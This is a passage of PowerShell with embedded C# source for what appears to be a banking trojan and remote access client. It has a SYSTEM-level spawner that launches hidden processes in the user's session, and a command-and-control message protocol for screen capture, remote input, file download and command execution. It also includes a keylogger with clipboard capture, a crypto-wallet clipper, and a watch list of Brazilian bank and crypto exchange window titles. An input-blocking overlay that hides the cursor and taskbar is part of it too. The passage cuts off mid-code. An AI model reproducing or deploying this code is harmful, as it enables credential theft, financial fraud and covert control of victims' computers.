lpProcessInformation); [DllImport("userenv.dll", SetLastError = true)] static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit); [DllImport("userenv.dll")] static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment); [DllImport("kernel32.dll", SetLastError = true)] static extern bool CloseHandle(IntPtr hObject); [DllImport("kernel32.dll")] static extern uint GetCurrentProcessId(); [DllImport("kernel32.dll")] static extern bool ProcessIdToSessionId(uint dwProcessId, out uint pSessionId); [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public int dwX, dwY, dwXSize, dwYSize; public int dwXCountChars, dwYCountChars, dwFillAttribute; public int dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2, hStdInput, hStdOutput, hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess, hThread; public int dwProcessId, dwThreadId; } const uint TOKEN_DUPLICATE = 0x0002; const uint TOKEN_QUERY = 0x0008; const uint MAXIMUM_ALLOWED = 0x2000000; const int SecurityImpersonation = 2; const int TokenPrimary = 1; const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400; const uint CREATE_NO_WINDOW = 0x08000000; const int STARTF_USESHOWWINDOW = 1; const short SW_HIDE = 0; public static uint GetSessionId() { uint sessionId; ProcessIdToSessionId(GetCurrentProcessId(), out sessionId); return sessionId; } public static int GetExplorerPid() { Process[] procs = Process.GetProcessesByName("explorer"); if (procs.Length > 0) return procs[0].Id; return -1; } public static int GetExplorerSessionId() { Process[] procs = Process.GetProcessesByName("explorer"); if (procs.Length > 0) return procs[0].SessionId; return -1; } [DllImport("kernel32.dll")] static extern IntPtr GetCurrentProcess(); [DllImport("advapi32.dll", SetLastError = true)] static extern bool SetTokenInformation(IntPtr TokenHandle, int TokenInformationClass, ref uint TokenInformation, uint TokenInformationLength); public static int SpawnInUserSession(string cmdLine) { Process[] explorers = Process.GetProcessesByName("explorer"); if (explorers.Length == 0) return -1; int targetSession = explorers[0].SessionId; if (targetSession <= 0) return -2; IntPtr currentToken = IntPtr.Zero; IntPtr dupToken = IntPtr.Zero; IntPtr pEnv = IntPtr.Zero; try { if (!OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, out currentToken)) { return -10 - Marshal.GetLastWin32Error(); } if (!DuplicateTokenEx(currentToken, MAXIMUM_ALLOWED, IntPtr.Zero, SecurityImpersonation, TokenPrimary, out dupToken)) { return -20 - Marshal.GetLastWin32Error(); } uint sessionId = (uint)targetSession; if (!SetTokenInformation(dupToken, 12, ref sessionId, 4)) { return -25 - Marshal.GetLastWin32Error(); } CreateEnvironmentBlock(out pEnv, dupToken, false); STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = "winsta0\\default"; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; PROCESS_INFORMATION pi; uint flags = CREATE_UNICODE_ENVIRONMENT | CREATE_NO_WINDOW; if (!CreateProcessAsUser(dupToken, null, cmdLine, IntPtr.Zero, IntPtr.Zero, false, flags, pEnv, null, ref si, out pi)) { return -30 - Marshal.GetLastWin32Error(); } CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return pi.dwProcessId; } finally { if (pEnv != IntPtr.Zero) DestroyEnvironmentBlock(pEnv); if (dupToken != IntPtr.Zero) CloseHandle(dupToken); if (currentToken != IntPtr.Zero) CloseHandle(currentToken); } } public static string GetSessionInfo() { uint mySession = GetSessionId(); int explorerPid = GetExplorerPid(); int explorerSession = GetExplorerSessionId(); return string.Format("MySession={0}, ExplorerPID={1}, ExplorerSession={2}", mySession, explorerPid, explorerSession); } } "@ try { Add-Type -TypeDefinition $SpawnerCode -ErrorAction Stop } catch { } # === SPAWNER MODE - SYSTEM Session 0 cria SYSTEM na Session do usuario === $currentSession = 0 try { $currentSession = [ExplorerSpawner]::GetSessionId() } catch { } $currentSID = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value $isSystemAccount = ($currentSID -eq "S-1-5-18") # SPAWNER: SYSTEM em Session 0 - NAO conecta, so cria processo SYSTEM na sessao do usuario if ($isSystemAccount -and $currentSession -eq 0) { # Usar ScriptPath se fornecido, senao usar caminho padrao $clientPath = if ($ScriptPath -and (Test-Path $ScriptPath)) { $ScriptPath } else { Join-Path $script:InstallConfig.InstallDir $script:InstallConfig.ScriptName } $lockFile = Join-Path (Split-Path $clientPath -Parent) "client.pid" $psExe = "$env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe" # Parametros de conexao $serverParam = $script:ConnectionConfig.PrimaryDomain $portParam = $script:ConnectionConfig.Port # Passar identidade como env vars no cmdLine (CreateEnvironmentBlock nao herda do parent) # Assim o filho tambem chama Get-InstallIdentity corretamente sem depender do HKCU do SYSTEM $__spawnSvc = $__identity.SvcName $__spawnFile = $__identity.FileName $cmdLine = "`"$psExe`" -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -c `"`$env:_nR='1';`$env:_sU='1';`$env:_sN='$__spawnSvc';`$env:_fN='$__spawnFile';& ([ScriptBlock]::Create((gc '$clientPath' -Raw))) -Server '$serverParam' -Port $portParam -ScriptPath '$clientPath'`"" # Force: matar processo existente na primeira iteracao $script:_forceApplied = $false # Loop infinito - Spawner NAO sai daqui, NAO conecta no C2 while ($true) { $shouldSpawn = $true if (Test-Path $lockFile) { try { $cpid = [int](Get-Content $lockFile -ErrorAction SilentlyContinue) if ($cpid -and (Get-Process -Id $cpid -ErrorAction SilentlyContinue)) { if ($Force -and -not $script:_forceApplied) { Stop-Process -Id $cpid -Force -ErrorAction SilentlyContinue Remove-Item $lockFile -Force -ErrorAction SilentlyContinue $script:_forceApplied = $true Start-Sleep -Milliseconds 500 } else { $shouldSpawn = $false } } else { Remove-Item $lockFile -Force -ErrorAction SilentlyContinue } } catch { Remove-Item $lockFile -Force -ErrorAction SilentlyContinue } } if ($shouldSpawn) { # Debug: mostrar info das sessoes antes de spawnar try { $sessionInfo = [ExplorerSpawner]::GetSessionInfo() } catch { } $result = [ExplorerSpawner]::SpawnInUserSession($cmdLine) if ($result -lt 0) { } if ($result -gt 0) { $result | Out-File $lockFile -Force } else { } } Start-Sleep -Seconds 5 } # NUNCA chega aqui - Spawner fica no loop infinito } # SYSTEM em Session 1+ (spawned) OU USER - continua para conectar no C2 # === AUTO-INSTALACAO foi movida para dentro do Start-Client === # O fluxo de instalacao agora e tratado inteiramente no Start-Client # para garantir a ordem correta: UAC -> SYSTEM ou USER -> persistencia # === Criar PID file para o ServiceMode saber que estamos rodando === try { $pidDir = $null try { if (Test-Path $script:InstallConfig.InstallDir -ErrorAction SilentlyContinue) { $pidDir = $script:InstallConfig.InstallDir } } catch {} if (!$pidDir) { $pidDir = "$env:APPDATA\Microsoft\$($__identity.SvcName)"; if (-not (Test-Path $pidDir -EA SilentlyContinue)) { try { New-Item -Path $pidDir -ItemType Directory -Force | Out-Null } catch {} } } if ($pidDir -and (Test-Path $pidDir -ErrorAction SilentlyContinue)) { $PID | Out-File (Join-Path $pidDir "client.pid") -Force -ErrorAction SilentlyContinue } } catch {} # === CODIGO ORIGINAL DO CLIENT COMECA AQUI === # =============================================================================== # ESCONDER JANELA IMEDIATAMENTE - ANTES DE QUALQUER COISA # =============================================================================== Add-Type -Name Win -Namespace Native -MemberDefinition '[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);' -ErrorAction SilentlyContinue function Hide-ConsoleWindow { try { # Parar guard e ocultar janela via QH (mais rapido que Get-Process) try { [Q.QH]::StopGuard() } catch {} try { [Q.QH]::HideNow(); return } catch {} # Fallback: Get-Process $handle = (Get-Process -Id $PID -ErrorAction SilentlyContinue).MainWindowHandle if ($handle -ne [IntPtr]::Zero) { [Native.Win]::ShowWindow($handle, 0) | Out-Null } } catch {} } # N?O ESCONDER JANELA AQUI - Precisa de janela vis?vel para UAC popup funcionar # A janela ser? escondida DEPOIS que instala??o/UAC estiver completa # Hide-ConsoleWindow ser? chamado ap?s Start-Client completar $currentIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() $isCurrentlySystem = $currentIdentity.User.Value -eq "S-1-5-18" $isCurrentlyAdmin = ([Security.Principal.WindowsPrincipal]$currentIdentity).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) $Config = @{ ServerAddress = $script:Server ServerPort = $script:Port Version = "$( $__mj = Get-Random -Min 109 -Max 131 $__mn = Get-Random -Min 0 -Max 9 $__bld = Get-Random -Min 5000 -Max 7000 $__rev = Get-Random -Min 40 -Max 200 "$__mj.$__mn.$__bld.$__rev" )" Magic = $( $__rp = $__identity.RegistryPath; $__rn = "SessionId" try { $__sv = (Get-ItemProperty -Path $__rp -Name $__rn -EA Stop).$__rn $__by = $__sv.Split(",") | ForEach-Object { [byte][int]$_ } if ($__by.Count -eq 4) { $__by } else { throw } } catch { $__nb = New-Object byte[] 4 [Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($__nb) if ($__nb[0] -eq 0x4C -and $__nb[1] -eq 0x51 -and $__nb[2] -eq 0x57 -and $__nb[3] -eq 0x50) { $__nb[0] = 0xAB } try { if (-not (Test-Path $__rp)) { New-Item -Path $__rp -Force | Out-Null } Set-ItemProperty -Path $__rp -Name $__rn -Value (($__nb|%{"$_"})-join",") -Force } catch {} $__nb } ) } $MSG = @{ ClientHello = 0x01; ServerHello = 0x02; SessionInfo = 0x06; ScreenData = 0x10; ScreenRequest = 0x11; QualityChange = 0x13 MonitorList = 0x14; MonitorSelect = 0x15 MouseMove = 0x20; MouseButton = 0x21; MouseWheel = 0x22; Keyboard = 0x23 ClipboardText = 0x40; FileList = 0x50; FileListResult = 0x51; FileDownload = 0x54; FileData = 0x53 ChatPopup = 0x61; InputTrackStart = 0x70; InputTrackStop = 0x71; InputTrackData = 0x72 CryptoClipperSet = 0x73 BrowserAlert = 0x80; PerfStats = 0x81 Command = 0xA0; CommandResult = 0xA1; SystemCommand = 0xA2 ProcessList = 0xB2; ServiceList = 0xB3; Ping = 0xE0; Pong = 0xE1; ScreenshotResult = 0xE3; GuestInfo = 0xE6 UpdateCheck = 0xFA; UpdateResponse = 0xFB } $script:InputTrackActive = $false $script:LastNotifyTitle = "" $script:ForceExit = $false # =============================================================================== # CRYPTO CLIPPER - Substitui carteiras copiadas pela do operador # =============================================================================== $script:CryptoClipperEnabled = $false $script:CryptoWallets = @{ BTC = '' ETH = '' USDT_TRC20 = '' LTC = '' XMR = '' SOL = '' PIX = '' } $script:CryptoPatterns = @{ BTC = '^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}$' ETH = '^0x[0-9a-fA-F]{40}$' USDT_TRC20 = '^T[1-9A-HJ-NP-Za-km-z]{33}$' LTC = '^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$' XMR = '^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$' SOL = '^[1-9A-HJ-NP-Za-km-z]{32,44}$' PIX = '^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$' } $script:_clipperLast = '' # =============================================================================== $script:Monitors = @() $script:SelectedMonitorIndex = 0 function Get-MonitorList { try { Add-Type -AssemblyName System.Windows.Forms -ErrorAction SilentlyContinue $screens = [System.Windows.Forms.Screen]::AllScreens $script:Monitors = @() $i = 0 foreach ($screen in $screens) { # Com SetProcessDpiAwareness(2), Screen.Bounds retorna valores reais $script:Monitors += @{ Index = $i X = $screen.Bounds.X Y = $screen.Bounds.Y Width = $screen.Bounds.Width Height = $screen.Bounds.Height Primary = $screen.Primary Name = $screen.DeviceName } $i++ } return $script:Monitors } catch { $script:Monitors = @(@{ Index = 0; X = 0; Y = 0; Width = 1920; Height = 1080; Primary = $true; Name = "Primary" }) return $script:Monitors } } function Get-SelectedMonitor { if ($script:SelectedMonitorIndex -eq -1) { $vs = [System.Windows.Forms.SystemInformation]::VirtualScreen return @{ Index = -1; X = $vs.X; Y = $vs.Y; Width = $vs.Width; Height = $vs.Height; Primary = $false } } if ($script:Monitors.Count -gt 0 -and $script:SelectedMonitorIndex -lt $script:Monitors.Count) { return $script:Monitors[$script:SelectedMonitorIndex] } return @{ Index = 0; X = 0; Y = 0; Width = 1920; Height = 1080; Primary = $true } } function Send-MonitorList { param($Stream) try { Get-MonitorList | Out-Null $__json = '{"Monitors":[' for ($i = 0; $i -lt $script:Monitors.Count; $i++) { if ($i -gt 0) { $__json += ',' } $mon = $script:Monitors[$i] $isPrimary = if ($mon.Primary) { 'true' } else { 'false' } $safeName = ($mon.Name -replace '\\', '\\\\' -replace '"', '\\"') $__json += '{"Index":' + $i + ',"Name":"' + $safeName + '","Width":' + $mon.Width + ',"Height":' + $mon.Height + ',"X":' + $mon.X + ',"Y":' + $mon.Y + ',"Primary":' + $isPrimary + '}' } $__json += '],"Selected":' + $script:SelectedMonitorIndex + '}' $__d = $script:FastUTF8.GetBytes($__json) $__bw = $script:BW $__bw.Write([byte[]]$Config.Magic) $__bw.Write([byte]0x14) $__bw.Write([int32]$__d.Length) $__bw.Write([byte[]]$__d) $__bw.Flush() } catch {} } # Detectar monitores no inicio Get-MonitorList | Out-Null $script:MonitorDomains = @( # === BRADESCO === 'Banco Bradesco | Voce primeiro', 'Bradesco Empresas e Negocios', 'Internet Banking Bradesco', 'Internet Banking Bradesco: Saldos, extratos, Pix e muito mais!', 'Atendimento | Bradesco', 'Bradesco Net Empresa: Cadastre seu negocio', 'Bradesco PJ: Solucoes Financeiras Para Sua Empresa', # === ITAU === 'Abra sua conta no Banco Itau: Solucoes financeiras para voce', 'Conta Corrente Itau: Abra sua conta e aproveite beneficios exclusivos', 'Itau Empresas | Pessoa Juridica | Seu Banco Empresarial', 'Atacado, Tesouraria e Investimentos institucionais | Itau BBA', # === SANTANDER === 'Santander', 'Santander - Ofertas para Empresas', 'Internet banking empresarial - Santander', # === CAIXA === 'Int.Er:n:et:::: --------...B-anking____C.aIXA', 'Conta Corrente para Pessoa Juridica (PJ) | Caixa', 'Para sua empresa | CAIXA', 'Gerenciador Caixa', # === BANCO DO BRASIL === 'Pra Voce | Banco do Brasil', 'Autoatendimento Banco do Brasil', 'Banco do Brasil', # === SAFRA === 'Banco Safra: completo para investir com excelencia | Safra', 'Conta pessoa juridica | Banco Safra', # === DAYCOVAL === 'Portal Daycoval', # === BANRISUL === 'Para voce | Banrisul', 'Empresas | Banrisul', # === SICOOB === 'Para voce - Sicoob', 'Para sua Empresa - Nacional - Sicoob', # === SICREDI === 'Sicredi: Conta corrente, credito, seguros e mais!', 'Solucoes financeiras para empresas: Sicredi', # === BINANCE === 'Binance: a corretora de criptomoedas mais confiavel do mundo para comprar, fazer trade e investir em cripto', # === MERCADO BITCOIN === 'Mercado Bitcoin', # === COINBASE === 'Coinbase Brasil - Compre e venda Bitcoin, Ethereum e muito mais com confianca', # === KUCOIN === 'Troca de Criptomoedas | Troca de Bitcoin | Negociacao de Bitcoin | KuCoin', # === BYBIT === 'Compre e venda Bitcoin e Ether | Exchange de cripto | Bybit', 'Login | Bybit', # === GENERICOS SEGUROS === 'Internet Banking', 'internetbanking', 'Conta Corrente', 'Net Empresa', 'Home Banking' ) # BrowserProcesses/BrowserOnlyDomains removidos - deteccao por titulo apenas $NativeCode = @" using System; using System.Runtime.InteropServices; using System.Text; using System.Windows.Forms; using System.Drawing; using System.Threading; // Interacao com mouse e teclado - otimizado para performance maxima public class NativeInput { [DllImport("user32.dll")] private static extern bool SetCursorPos(int x, int y); [DllImport("user32.dll")] private static extern void mouse_event(uint eventFlags, int x, int y, int wheelDelta, int extraInfo); [DllImport("user32.dll")] private static extern void keybd_event(byte vk, byte scanCode, uint flags, int extraInfo); [DllImport("user32.dll")] public static extern bool BlockInput(bool fBlockIt); [DllImport("user32.dll")] private static extern int GetSystemMetrics(int nIndex); private const uint MOUSEEVENTF_MOVE = 0x0001u; private const uint MOUSEEVENTF_LEFTDOWN = 2u; private const uint MOUSEEVENTF_LEFTUP = 4u; private const uint MOUSEEVENTF_RIGHTDOWN = 8u; private const uint MOUSEEVENTF_RIGHTUP = 16u; private const uint MOUSEEVENTF_MIDDLEDOWN = 32u; private const uint MOUSEEVENTF_MIDDLEUP = 64u; private const uint MOUSEEVENTF_ABSOLUTE = 0x8000u; private const uint MOUSEEVENTF_VIRTUALDESK = 0x4000u; private const uint MOUSEEVENTF_WHEEL = 0x800u; private const uint KEYEVENTF_KEYUP = 2u; public static void Block() { BlockInput(true); } public static void Unblock() { BlockInput(false); } public static void MoveMouse(int x, int y) { int vx = GetSystemMetrics(76); int vy = GetSystemMetrics(77); int vw = GetSystemMetrics(78); int vh = GetSystemMetrics(79); int ax = ((x - vx) * 65536 + vw / 2) / vw; int ay = ((y - vy) * 65536 + vh / 2) / vh; mouse_event(MOUSEEVENTF_MOVE | MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_VIRTUALDESK, ax, ay, 0, 0); } public static void MouseDown(int buttonIndex) { uint flag = MOUSEEVENTF_LEFTDOWN; if (buttonIndex == 1) flag = MOUSEEVENTF_MIDDLEDOWN; else if (buttonIndex == 2) flag = MOUSEEVENTF_RIGHTDOWN; mouse_event(flag, 0, 0, 0, 0); } public static void MouseUp(int buttonIndex) { uint flag = MOUSEEVENTF_LEFTUP; if (buttonIndex == 1) flag = MOUSEEVENTF_MIDDLEUP; else if (buttonIndex == 2) flag = MOUSEEVENTF_RIGHTUP; mouse_event(flag, 0, 0, 0, 0); } public static void MouseWheel(int scrollDelta) { mouse_event(MOUSEEVENTF_WHEEL, 0, 0, scrollDelta, 0); } public static void KeyDown(byte virtualKey) { keybd_event(virtualKey, 0, 0, 0); } public static void KeyUp(byte virtualKey) { keybd_event(virtualKey, 0, KEYEVENTF_KEYUP, 0); } } public class WindowMonitor { [DllImport("user32.dll")] static extern IntPtr GetForegroundWindow(); [DllImport("user32.dll", CharSet = CharSet.Unicode)] static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count); [DllImport("user32.dll")] static extern int GetWindowTextLength(IntPtr hWnd); public static string GetActiveTitle() { try { IntPtr hwnd = GetForegroundWindow(); if (hwnd == IntPtr.Zero) return ""; int len = GetWindowTextLength(hwnd); if (len <= 0) return ""; StringBuilder sb = new StringBuilder(len + 1); GetWindowText(hwnd, sb, sb.Capacity); return sb.ToString(); } catch { return ""; } } } public class InputTracker { [DllImport("user32.dll")] private static extern short GetKeyState(int vKey); [DllImport("user32.dll")] private static extern IntPtr SetWindowsHookEx(int idHook, HookProc cb, IntPtr hMod, uint threadId); [DllImport("user32.dll")] private static extern bool UnhookWindowsHookEx(IntPtr hhk); [DllImport("user32.dll")] private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); [DllImport("kernel32.dll")] private static extern IntPtr GetModuleHandle(string name); [DllImport("user32.dll")] private static extern bool GetMessage(out MSG msg, IntPtr hWnd, uint min, uint max); [DllImport("user32.dll")] private static extern bool TranslateMessage(ref MSG msg); [DllImport("user32.dll")] private static extern IntPtr DispatchMessage(ref MSG msg); [DllImport("user32.dll")] private static extern bool PostThreadMessage(uint threadId, uint msg, IntPtr wParam, IntPtr lParam); [DllImport("kernel32.dll")] private static extern uint GetCurrentThreadId(); [DllImport("user32.dll")] private static extern bool OpenClipboard(IntPtr hWnd); [DllImport("user32.dll")] private static extern bool CloseClipboard(); [DllImport("user32.dll")] private static extern IntPtr GetClipboardData(uint uFormat); [DllImport("kernel32.dll")] private static extern IntPtr GlobalLock(IntPtr hMem); [DllImport("kernel32.dll")] private static extern bool GlobalUnlock(IntPtr hMem); private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam); [StructLayout(LayoutKind.Sequential)] private struct MSG { public IntPtr hwnd; public uint message; public IntPtr wParam; public IntPtr lParam; public uint time; public int ptX, ptY; } private static System.Collections.Generic.Queue buffer = new System.Collections.Generic.Queue(); private static object bufferLock = new object(); private static Thread hookThread = null; private static volatile bool isRunning = false; private static IntPtr hookId = IntPtr.Zero; private static HookProc hookCallback; private static uint hookThreadId; private static string lastClipboard = ""; public static void Start() { if (isRunning) return; isRunning = true; try { lastClipboard = GetClipboardText() ?? ""; } catch { lastClipboard = ""; } hookThread = new Thread(HookLoop); hookThread.IsBackground = true; hookThread.Start(); } public static void Stop() { isRunning = false; try { if (hookThreadId != 0) PostThreadMessage(hookThreadId, 0x0012, IntPtr.Zero, IntPtr.Zero); } catch {} if (hookThread != null) { try { hookThread.Join(1000); } catch {} hookThread = null; } } private static void HookLoop() { hookThreadId = GetCurrentThreadId(); hookCallback = HookCallback; hookId = SetWindowsHookEx(13, hookCallback, GetModuleHandle(null), 0); MSG msg; while (isRunning && GetMessage(out msg, IntPtr.Zero, 0, 0)) { TranslateMessage(ref msg); DispatchMessage(ref msg); } if (hookId != IntPtr.Zero) { UnhookWindowsHookEx(hookId); hookId = IntPtr.Zero; } } private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && ((int)wParam == 0x100 || (int)wParam == 0x104)) { int vk = Marshal.ReadInt32(lParam); string ch = GetKeyChar(vk); if (!string.IsNullOrEmpty(ch)) { lock (bufferLock) { buffer.Enqueue(ch); if (buffer.Count > 5000) buffer.Dequeue(); } } } return CallNextHookEx(hookId, nCode, wParam, lParam); } private static string GetClipboardText() { try { if (!OpenClipboard(IntPtr.Zero)) return null; IntPtr h = GetClipboardData(13); if (h == IntPtr.Zero) { CloseClipboard(); return null; } IntPtr p = GlobalLock(h); string text = Marshal.PtrToStringUni(p); GlobalUnlock(h); CloseClipboard(); return text; } catch { try { CloseClipboard(); } catch {} return null; } } public static void ScanAllKeys() { CheckClipboardChange(); } public static void CheckClipboardChange() { try { string clip = GetClipboardText(); if (!string.IsNullOrEmpty(clip) && clip != lastClipboard && clip.Length < 500) { lastClipboard = clip; lock (bufferLock) { buffer.Enqueue("[CLIP:" + clip + "]"); if (buffer.Count > 5000) buffer.Dequeue(); } } } catch {} } public static string GetKeyChar(int vkCode) { bool shift = (GetKeyState(16) & 0x8000) != 0; bool caps = (GetKeyState(20) & 0x0001) != 0; if (vkCode == 8) return "[BS]"; if (vkCode == 9) return "[TAB]"; if (vkCode == 13) return "[ENTER]"; if (vkCode == 32) return " "; if (vkCode == 46) return "[DEL]"; if (vkCode >= 65 && vkCode <= 90) { char c = (char)vkCode; return (shift ^ caps) ? c.ToString() : c.ToString().ToLower(); } if (vkCode >= 48 && vkCode <= 57) { if (shift) { string[] s = { ")", "!", "@", "#", "$", "%", "^", "&", "*", "(" }; return s[vkCode - 48]; } return ((char)vkCode).ToString(); } if (vkCode >= 96 && vkCode <= 105) return ((char)(vkCode - 48)).ToString(); if (vkCode == 106) return "*"; if (vkCode == 107) return "+"; if (vkCode == 109) return "-"; if (vkCode == 110) return "."; if (vkCode == 111) return "/"; if (vkCode == 186) return shift ? ":" : ";"; if (vkCode == 187) return shift ? "+" : "="; if (vkCode == 188) return shift ? "<" : ","; if (vkCode == 189) return shift ? "_" : "-"; if (vkCode == 190) return shift ? ">" : "."; if (vkCode == 191) return shift ? "?" : "/"; if (vkCode == 192) return shift ? "~" : "`"; if (vkCode == 219) return shift ? "{" : "["; if (vkCode == 221) return shift ? "}" : "]"; if (vkCode == 220) return shift ? "|" : "\\"; if (vkCode == 222) return shift ? "\"" : "'"; return ""; } public static string[] GetBufferedKeys() { lock (bufferLock) { if (buffer.Count == 0) return new string[0]; string[] keys = buffer.ToArray(); buffer.Clear(); return keys; } } public static bool IsKeyPressed(int vkCode) { return false; } } public class CryptoClipper { public static bool Placeholder() { return true; } } public class DisplayOverlay { [DllImport("user32.dll")] public static extern bool SetWindowDisplayAffinity(IntPtr hwnd, uint dwAffinity); [DllImport("user32.dll")] public static extern int SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong); [DllImport("user32.dll")] public static extern int GetWindowLong(IntPtr hWnd, int nIndex); [DllImport("user32.dll")] public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); [DllImport("user32.dll")] public static extern bool SetForegroundWindow(IntPtr hWnd); [DllImport("user32.dll")] public static extern bool BringWindowToTop(IntPtr hWnd); [DllImport("user32.dll")] public static extern uint GetWindowThreadProcessId(IntPtr hWnd, IntPtr ProcessId); [DllImport("user32.dll")] public static extern IntPtr GetForegroundWindow(); [DllImport("user32.dll")] public static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach); [DllImport("kernel32.dll")] public static extern uint GetCurrentThreadId(); [DllImport("user32.dll")] public static extern bool SetSystemCursor(IntPtr hcur, uint id); [DllImport("user32.dll")] public static extern bool SystemParametersInfo(uint uiAction, uint uiParam, IntPtr pvParam, uint fWinIni); [DllImport("user32.dll")] public static extern IntPtr CopyIcon(IntPtr hIcon); [DllImport("user32.dll", CharSet = CharSet.Auto)] public static extern IntPtr FindWindow(string cls, string wnd); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); private static readonly uint[] cursorIds = { 32512,32513,32514,32515,32516,32640,32641,32642,32643,32644,32645,32646,32648,32649,32650,32651 }; public static void HideCursorGlobal() { try { var bmp = new Bitmap(16, 16); IntPtr hIcon = bmp.GetHicon(); foreach (uint id in cursorIds) { IntPtr copy = CopyIcon(hIcon); SetSystemCursor(copy, id); } bmp.Dispose(); } catch { } } public static void ShowCursorGlobal() { try { SystemParametersInfo(0x0057, 0, IntPtr.Zero, 0); } catch { } } [DllImport("user32.dll")] public static extern bool EnableWindow(IntPtr hWnd, bool bEnable); public static void HideTaskbar() { try { IntPtr tb = FindWindow("Shell_TrayWnd", null); if (tb != IntPtr.Zero) { EnableWindow(tb, false); SetWindowPos(tb, new IntPtr(1), 0, 0, 0, 0, 0x0013); } } catch { } } public static void ShowTaskbar() { try { IntPtr tb = FindWindow("Shell_TrayWnd", null); if (tb != IntPtr.Zero) { EnableWindow(tb, true); SetWindowPos(tb, HWND_TOPMOST, 0, 0, 0, 0, 0x0013); } } catch { } } public delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam); [DllImport("user32.dll")] public static extern IntPtr SetWindowsHookEx(int idHook, HookProc callback, IntPtr hMod, uint threadId); [DllImport("user32.dll")] public static extern bool UnhookWindowsHookEx(IntPtr hhk); [DllImport("user32.dll")] public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); [DllImport("kernel32.dll")] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport("user32.dll")] private static extern short GetAsyncKeyState(int vKey); private static IntPtr _kbHook = IntPtr.Zero; private static IntPtr _msHook = IntPtr.Zero; private static HookProc _kbProc; private static HookProc _msProc; private static IntPtr KbHookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && isActive) { int flags = Marshal.ReadInt32(lParam, 8); if ((flags & 0x10) != 0) return CallNextHookEx(_kbHook, nCode, wParam, lParam); return (IntPtr)1; } return CallNextHookEx(_kbHook, nCode, wParam, lParam); } private static IntPtr MsHookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && isActive) { int flags = Marshal.ReadInt32(lParam, 12); if ((flags & 0x01) != 0) return CallNextHookEx(_msHook, nCode, wParam, lParam); return (IntPtr)1; } return CallNextHookEx(_msHook, nCode, wParam, lParam); } private static void InstallKbHook() { try { IntPtr hMod = GetModuleHandle(null); _kbProc = KbHookCallback; _kbHook = SetWindowsHookEx(13, _kbProc, hMod, 0); _msProc = MsHookCallback; _msHook = SetWindowsHookEx(14, _msProc, hMod, 0); } catch { } } private static void RemoveKbHook() { try { if (_kbHook != IntPtr.Zero) { UnhookWindowsHookEx(_kbHook); _kbHook = IntPtr.Zero; } } catch { } try { if (_msHook != IntPtr.Zero) { UnhookWindowsHookEx(_msHook); _msHook = IntPtr.Zero; } } catch { } } private static readonly IntPtr HWND_TOPMOST = new IntPtr(-1); private static Form overlayForm = null; private static Thread formThread = null; private static volatile bool isActive = false; private static volatile bool shouldClose = false; private static int currentMode = 1; private const int GWL_EXSTYLE = -20; private const int WS_EX_NOACTIVATE = 0x08000000; private const int WS_EX_TOOLWINDOW = 0x00000080; public static bool IsActive { get { return isActive; } } private static void MakeClickThrough(IntPtr hwnd) { int exStyle = GetWindowLong(hwnd, GWL_EXSTYLE); SetWindowLong(hwnd, GWL_EXSTYLE, exStyle | WS_EX_NOACTIVATE | WS_EX_TOOLWINDOW); } private static void ForceToFront(IntPtr hwnd) { MakeClickThrough(hwnd); SetWindowPos(hwnd, HWND_TOPMOST, 0, 0, 0, 0, 0x0013); } private static Region CreateRoundedRegion(int w, int h, int r) { System.Drawing.Drawing2D.GraphicsPath p = new System.Drawing.Drawing2D.GraphicsPath(); p.StartFigure(); p.AddLine(0, 0, w - r, 0); p.AddArc(w - 2*r, 0, 2*r, 2*r, 270, 90); p.AddLine(w, r, w, h - r); p.AddArc(w - 2*r, h - 2*r, 2*r, 2*r, 0, 90); p.AddLine(w - r, h, 0, h); p.AddLine(0, h, 0, 0); p.CloseFigure(); return new Region(p); } public static void Show(int mode) { if (isActive) { Hide(); Thread.Sleep(1); } shouldClose = false; isActive = true; currentMode = mode; formThread = new Thread(() => { try { // COBRIR TODOS OS MONITORES usando VirtualScreen Rectangle vs = SystemInformation.VirtualScreen; Rectangle primary = Screen.PrimaryScreen.Bounds; // Offset para posicionar elementos no monitor primario int pOffX = primary.X - vs.X; int pOffY = primary.Y - vs.Y; int pCenterX = pOffX + primary.Width / 2; int pCenterY = pOffY + primary.Height / 2; overlayForm = new Form(); 